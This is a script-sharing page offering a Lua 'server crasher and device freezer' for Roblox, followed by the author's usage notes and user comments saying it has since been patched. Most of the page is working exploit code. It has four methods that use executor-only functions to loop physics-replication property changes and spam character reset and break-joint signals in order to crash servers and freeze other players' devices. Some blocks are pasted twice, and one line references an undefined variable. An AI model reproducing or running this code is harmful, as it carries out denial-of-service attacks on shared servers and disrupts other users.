Universal Server Crasher and Device Freezer
Key RequiredUniversal Patched

Universal Server Crasher and Device Freezer

Universal ScriptHu2s3yHu2s3y 534 views 304 executesUpdated Oct 2, 2026
5.0/ 5(3 votes)
30100% Positive
Lua Script•486 lines (14883 chars)
local player = game.Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
local UserInputService = game:GetService("UserInputService")

-- Create the main ScreenGui
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "CustomSettingsMenu"
screenGui.ResetOnSpawn = false
screenGui.Parent = playerGui

-- Create the background frame
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 250, 0, 200)
mainFrame.Position = UDim2.new(0.5, -125, 0.5, -100)
mainFrame.BackgroundColor3 = Color3.fromRGB(35, 35, 35)
mainFrame.BorderSizePixel = 0
mainFrame.Active = true -- Required for dragging
mainFrame.Parent = screenGui

local uiCorner = Instance.new("UICorner")
uiCorner.CornerRadius = UDim.new(0, 8)
uiCorner.Parent = mainFrame

local topText = Instance.new("TextLabel")
topText.Size = UDim2.new(1, 0, 0, 30) -- 100% width, 30px height
topText.Position = UDim2.new(0, 0, 0, 0) -- Top left corner
topText.BackgroundTransparency = 1 -- Hides the label's default white background
topText.TextColor3 = Color3.fromRGB(255, 255, 255)
topText.Text = "Device Crasher Menu"
topText.Font = Enum.Font.GothamBlack
topText.TextSize = 16
topText.Parent = mainFrame

-- 1. Bottom Right Text (Watermark)
local bottomRightText = Instance.new("TextLabel")
bottomRightText.Name = "BottomRightText"
bottomRightText.Size = UDim2.new(0, 100, 0, 20)
bottomRightText.AnchorPoint = Vector2.new(1, 1) 
bottomRightText.Position = UDim2.new(1, -5, 1, -5) 
bottomRightText.BackgroundTransparency = 1
bottomRightText.TextColor3 = Color3.fromRGB(150, 150, 150)
bottomRightText.TextXAlignment = Enum.TextXAlignment.Right 
bottomRightText.Text = "v1.0 by Hu2s3y"
bottomRightText.Font = Enum.Font.Gotham
bottomRightText.TextSize = 11
bottomRightText.Parent = mainFrame

-- 2. Bottom Left Text (Status)
local bottomLeftText = Instance.new("TextLabel")
bottomLeftText.Name = "BottomLeftText"
bottomLeftText.Size = UDim2.new(0, 100, 0, 20)
bottomLeftText.AnchorPoint = Vector2.new(0, 1)
bottomLeftText.Position = UDim2.new(0, 5, 1, -5)
bottomLeftText.BackgroundTransparency = 1
bottomLeftText.TextColor3 = Color3.fromRGB(150, 150, 150)
bottomLeftText.TextXAlignment = Enum.TextXAlignment.Left 
bottomLeftText.Text = "different game different method"
bottomLeftText.Font = Enum.Font.Gotham
bottomLeftText.TextSize = 11
bottomLeftText.Parent = mainFrame

-- State variables
local currentMethod = 1
local maxMethods = 4
local isLooping = false

-- ==========================================
-- 1. METHOD SELECTION BUTTON
-- ==========================================
local methodBtn = Instance.new("TextButton")
methodBtn.Size = UDim2.new(1, -20, 0, 40)
methodBtn.Position = UDim2.new(0, 10, 0, 20)
methodBtn.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
methodBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
methodBtn.Text = "Method: " .. currentMethod
methodBtn.Font = Enum.Font.GothamBold
methodBtn.TextSize = 14
methodBtn.Parent = mainFrame

local methodCorner = Instance.new("UICorner")
methodCorner.CornerRadius = UDim.new(0, 4)
methodCorner.Parent = methodBtn

methodBtn.MouseButton1Click:Connect(function()
    currentMethod = currentMethod + 1
    if currentMethod > maxMethods then
        currentMethod = 1
    end
    methodBtn.Text = "Method: " .. currentMethod
end)

-- ==========================================
-- 2. EXECUTE ONCE BUTTON
-- ==========================================
local executeBtn = Instance.new("TextButton")
executeBtn.Size = UDim2.new(1, -20, 0, 40)
executeBtn.Position = UDim2.new(0, 10, 0, 70)
executeBtn.BackgroundColor3 = Color3.fromRGB(50, 100, 150)
executeBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
executeBtn.Text = "Execute Once"
executeBtn.Font = Enum.Font.GothamBold
executeBtn.TextSize = 14
executeBtn.Parent = mainFrame

local executeCorner = Instance.new("UICorner")
executeCorner.CornerRadius = UDim.new(0, 4)
executeCorner.Parent = executeBtn

executeBtn.MouseButton1Click:Connect(function()
    print("Executing Method " .. currentMethod .. " ONCE")
    
    if currentMethod == 1 then
        -- [ Paste Method 1 One-Time Logic Here ]
        local Lighting = game:GetService("Lighting");

local Player = game.Players.LocalPlayer;
local Character = Player.Character;

local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid");
local Valid = Character and Character:QueryDescendants("BasePart") or {};

task.spawn(function()
    while Character and Character.Parent do
        for Index, Current in Valid do
            sethiddenproperty(Current, "PhysicsRepRootPart", Valid[Index + 1] or Valid[1]);
        end;
        task.wait();
    end;
end);

task.wait(0.1);

for Iteration = 1, 5 do
    replicatesignal(Humanoid.ServerBreakJoints);
    replicatesignal(Humanoid.ServerResetCharacter);
end;

task.wait(0.35);

for Iteration = 1, 9e9 do
    replicatesignal(Humanoid.ServerBreakJoints);
    replicatesignal(Humanoid.ServerResetCharacter);
    Character.Parent = LightingService;
    task.wait(0.01);
end;local Lighting = game:GetService("Lighting");

local Player = game.Players.LocalPlayer;
local Character = Player.Character;

local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid");
local Valid = Character and Character:QueryDescendants("BasePart") or {};

task.spawn(function()
    while Character and Character.Parent do
        for Index, Current in Valid do
            sethiddenproperty(Current, "PhysicsRepRootPart", Valid[Index + 1] or Valid[1]);
        end;
        task.wait();
    end;
end);

task.wait(0.1);

for Iteration = 1, 5 do
    replicatesignal(Humanoid.ServerBreakJoints);
    replicatesignal(Humanoid.ServerResetCharacter);
end;

task.wait(0.35);

for Iteration = 1, 9e9 do
    replicatesignal(Humanoid.ServerBreakJoints);
    replicatesignal(Humanoid.ServerResetCharacter);
    Character.Parent = LightingService;
    task.wait(0.01);
end;
    elseif currentMethod == 2 then
        -- [ Paste Method 2 One-Time Logic Here ]
        local Lighting = game:GetService("Lighting");

local Player = game.Players.LocalPlayer;
local Character = Player.Character;

local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid");
local Valid = Character and Character:QueryDescendants("BasePart") or {};

task.spawn(function()
    while Character and Character.Parent do
        for Index, Current in Valid do
            sethiddenproperty(Current, "PhysicsRepRootPart", Valid[Index + 1] or Valid[1]);
        end;
        task.wait();
    end;
end);

task.wait(0.1);

for Iteration = 1, 5 do
    replicatesignal(Humanoid.ServerBreakJoints);
    replicatesignal(Humanoid.ServerResetCharacter);
end;

task.wait(0.35);

for Iteration = 1, 9e9 do
    replicatesignal(Humanoid.ServerBreakJoints);
    replicatesignal(Humanoid.ServerResetCharacter);
    Character.Parent = LightingService;
    task.wait(0.01);
end;
    elseif currentMethod == 3 then
        -- [ Paste Method 3 One-Time Logic Here ]
        local Player = game.Players.LocalPlayer;
local Character = Player.Character
local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid");
local Valid = Character and Character:QueryDescendants("BasePart") or {};

replicatesignal(Humanoid.ServerResetCharacter);

for i=1,1e5 do
  if Character and Character.Parent then

    for i=3,1000 do
      for Index, Current in Valid do
        sethiddenproperty(Current, "PhysicsRepRootPart", Valid[Index + 1] or Valid[1]);
      end;
    end

    task.wait()
  else
    break
  end
end
    elseif currentMethod == 4 then
        -- [ Paste Method 4 One-Time Logic Here ]
        local Player = game.Players.LocalPlayer;
local Character = Player.Character;

local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid");
local Valid = Character and Character:QueryDescendants("BasePart") or {};

replicatesignal(Humanoid.ServerResetCharacter);

for i=1,1e5 do
  if Character and Character.Parent then

    for i=1,333 do
      for Index, Current in Valid do
        sethiddenproperty(Current, "PhysicsRepRootPart", Valid[Index + 1] or Valid[1]);
      end;
    end

    task.wait()
  else
    break
  end
end
    end
end)

-- ==========================================
-- 3. LOOP TOGGLE BUTTON
-- ==========================================
local toggleBtn = Instance.new("TextButton")
toggleBtn.Size = UDim2.new(1, -20, 0, 40)
toggleBtn.Position = UDim2.new(0, 10, 0, 120)
toggleBtn.BackgroundColor3 = Color3.fromRGB(150, 50, 50)
toggleBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
toggleBtn.Text = "Loop: OFF"
toggleBtn.Font = Enum.Font.GothamBold
toggleBtn.TextSize = 14
toggleBtn.Parent = mainFrame

local toggleCorner = Instance.new("UICorner")
toggleCorner.CornerRadius = UDim.new(0, 4)
toggleCorner.Parent = toggleBtn

toggleBtn.MouseButton1Click:Connect(function()
    isLooping = not isLooping
    
    if isLooping then
        toggleBtn.Text = "Loop: ON"
        toggleBtn.BackgroundColor3 = Color3.fromRGB(50, 150, 50)
        
        task.spawn(function()
            while isLooping do
                
                if currentMethod == 1 then
                    -- [ Paste Method 1 Loop Logic Here ]
                    local Lighting = game:GetService("Lighting");

local Player = game.Players.LocalPlayer;
local Character = Player.Character;

local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid");
local Valid = Character and Character:QueryDescendants("BasePart") or {};

task.spawn(function()
    while Character and Character.Parent do
        for Index, Current in Valid do
            sethiddenproperty(Current, "PhysicsRepRootPart", Valid[Index + 1] or Valid[1]);
        end;
        task.wait();
    end;
end);

task.wait(0.1);

for Iteration = 1, 5 do
    replicatesignal(Humanoid.ServerBreakJoints);
    replicatesignal(Humanoid.ServerResetCharacter);
end;

task.wait(0.35);

for Iteration = 1, 9e9 do
    replicatesignal(Humanoid.ServerBreakJoints);
    replicatesignal(Humanoid.ServerResetCharacter);
    Character.Parent = LightingService;
    task.wait(0.01);
end;local Lighting = game:GetService("Lighting");

local Player = game.Players.LocalPlayer;
local Character = Player.Character;

local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid");
local Valid = Character and Character:QueryDescendants("BasePart") or {};

task.spawn(function()
    while Character and Character.Parent do
        for Index, Current in Valid do
            sethiddenproperty(Current, "PhysicsRepRootPart", Valid[Index + 1] or Valid[1]);
        end;
        task.wait();
    end;
end);

task.wait(0.1);

for Iteration = 1, 5 do
    replicatesignal(Humanoid.ServerBreakJoints);
    replicatesignal(Humanoid.ServerResetCharacter);
end;

task.wait(0.35);

for Iteration = 1, 9e9 do
    replicatesignal(Humanoid.ServerBreakJoints);
    replicatesignal(Humanoid.ServerResetCharacter);
    Character.Parent = LightingService;
    task.wait(0.01);
end;
                elseif currentMethod == 2 then
                    -- [ Paste Method 2 Loop Logic Here ]
                    local Lighting = game:GetService("Lighting");

local Player = game.Players.LocalPlayer;
local Character = Player.Character;

local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid");
local Valid = Character and Character:QueryDescendants("BasePart") or {};

task.spawn(function()
    while Character and Character.Parent do
        for Index, Current in Valid do
            sethiddenproperty(Current, "PhysicsRepRootPart", Valid[Index + 1] or Valid[1]);
        end;
        task.wait();
    end;
end);

task.wait(0.1);

for Iteration = 1, 5 do
    replicatesignal(Humanoid.ServerBreakJoints);
    replicatesignal(Humanoid.ServerResetCharacter);
end;

task.wait(0.35);

for Iteration = 1, 9e9 do
    replicatesignal(Humanoid.ServerBreakJoints);
    replicatesignal(Humanoid.ServerResetCharacter);
    Character.Parent = LightingService;
    task.wait(0.01);
end;
                elseif currentMethod == 3 then
                    -- [ Paste Method 3 Loop Logic Here ]
                    local Player = game.Players.LocalPlayer;
local Character = Player.Character
local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid");
local Valid = Character and Character:QueryDescendants("BasePart") or {};

replicatesignal(Humanoid.ServerResetCharacter);

for i=1,1e5 do
  if Character and Character.Parent then

    for i=3,1000 do
      for Index, Current in Valid do
        sethiddenproperty(Current, "PhysicsRepRootPart", Valid[Index + 1] or Valid[1]);
      end;
    end

    task.wait()
  else
    break
  end
end
                elseif currentMethod == 4 then
                    -- [ Paste Method 4 Loop Logic Here ]
                    local Player = game.Players.LocalPlayer;
local Character = Player.Character;

local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid");
local Valid = Character and Character:QueryDescendants("BasePart") or {};

replicatesignal(Humanoid.ServerResetCharacter);

for i=1,1e5 do
  if Character and Character.Parent then

    for i=1,333 do
      for Index, Current in Valid do
        sethiddenproperty(Current, "PhysicsRepRootPart", Valid[Index + 1] or Valid[1]);
      end;
    end

    task.wait()
  else
    break
  end
end
                end
                
                task.wait(0.1) -- Loop speed
            end
        end)
    else
        toggleBtn.Text = "Loop: OFF"
        toggleBtn.BackgroundColor3 = Color3.fromRGB(150, 50, 50)
    end
end)

-- ==========================================
-- 4. DRAG TO MOVE LOGIC
-- ==========================================
local dragging
local dragInput
local dragStart
local startPos

local function update(input)
    local delta = input.Position - dragStart
    mainFrame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
end

mainFrame.InputBegan:Connect(function(input)
    -- Start dragging when clicking or touching the main frame
    if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
        dragging = true
        dragStart = input.Position
        startPos = mainFrame.Position
        
        -- Stop dragging if the mouse is released
        input.Changed:Connect(function()
            if input.UserInputState == Enum.UserInputState.End then
                dragging = false
            end
        end)
    end
end)

mainFrame.InputChanged:Connect(function(input)
    -- Capture the input object when the mouse moves
    if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
        dragInput = input
    end
end)

UserInputService.InputChanged:Connect(function(input)
    -- Update the frame position based on the delta
    if input == dragInput and dragging then
        update(input)
    end
end)

Features & Information

PLEASE READ FOR DUMMIES after the methods was leaked i decided to release it now theres 4 methods for crashing if others method doesnt works some maps you need to use twice or it doesnt works try using other methods if that method doesnt works
#crasher

Community Comments (4)

someone86415someone86415Oct 7, 2026

it was fun while it lasted

someone86415someone86415Oct 7, 2026

i used it for like 2 hours and when i did something else and comed back and iexecuted the script but i found out that it isnt working anymore

Replying to @someone86415
Hu2s3yHu2s3yOct 7, 2026

@someone86415 yeah i think roblox patched it RIP

Hu2s3yHu2s3yOct 7, 2026

Roblox just updated and yeah this was patched it was working for like multiple weeks RIP

More Scripts for Universal Scripts